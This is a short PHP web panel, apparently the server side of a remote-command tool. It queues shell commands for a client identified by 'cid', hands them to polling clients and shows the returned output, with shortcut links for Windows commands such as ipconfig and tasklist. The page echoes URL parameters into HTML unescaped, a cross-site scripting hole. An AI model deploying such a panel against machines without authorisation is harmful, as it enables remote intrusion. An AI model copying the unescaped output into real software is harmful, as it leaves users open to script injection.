<?php
/**
 * 加载相应文件与初始设置
 */
header('Content-type:text/html; charset=utf-8;');
define(SERVER_ROOT, dirname(__FILE__));
require SERVER_ROOT.'/config.php';
require SERVER_ROOT.'/server.class.php';

/**
 * 初始化
 */
$cid = $_GET['cid'];
$action = $_GET['action'];
$server = new server($cid);

/**
 * 发送命令
 */
if ($action == 'send_command') {
	echo $server->send_command();
	exit();
}

/**
 * 接收结果
 */
if ($action == 'receive_result') {
	$server->receive_result();
	exit();
}

/**
 * 默认,显示输入框
 */

//初始命令
$command = $_GET['command'];
$server->save_command($command);
?>



<html>
	<head>
		<title>远程控制 - <?php echo $cid?></title>
		<style>
		body{
			font-size:14px;
			margin:0;background:#F1F1F1;
		}
		form{
			margin:0;
		}
		a{
			color:#0000FF;
		}
		.input{
			border-bottom:#FFFFFF 1px solid;
			background:#FFFFFF;
			padding:30px 20px 30px 20px;
			word-spacing:5px;
			line-height:20px;
		}
		.result{
			padding:20px;
			color:#0000ff;
			word-spacing:10px;
		}
		</style>
	</head>

	<body>
	<!--input-->
	<div class="input">
		<form action="" method="GET">
			<input type="hidden" name="cid" value="<?php echo $cid?>" />
			输入命令
			<input type="text" name="command" value="<?php echo $command?>" />
			<input type="submit" value="执行" />
		</form>
		
		<a href="?command=dir&cid=<?php echo $cid?>">dir</a>
		<a href="?command=ipconfig&cid=<?php echo $cid?>">ipconfig</a>
		<a href="?command=tasklist&cid=<?php echo $cid?>">tasklist</a>
		<a href="?command=mem&cid=<?php echo $cid?>">mem</a>
	</div>
	<!--/input-->
	
	<!--result-->
	<div class="result">
		<?php
		//抓取结果,显示结果 (有等待时间)
		$result = $server->get_result();
		$result = json_decode($result);
		$result == '' && $result = array();
		foreach ($result as $row) {
			echo htmlspecialchars($row).'<br />';
		}
		?>
	</div>
	<!--/result-->
	
	</body>
</html>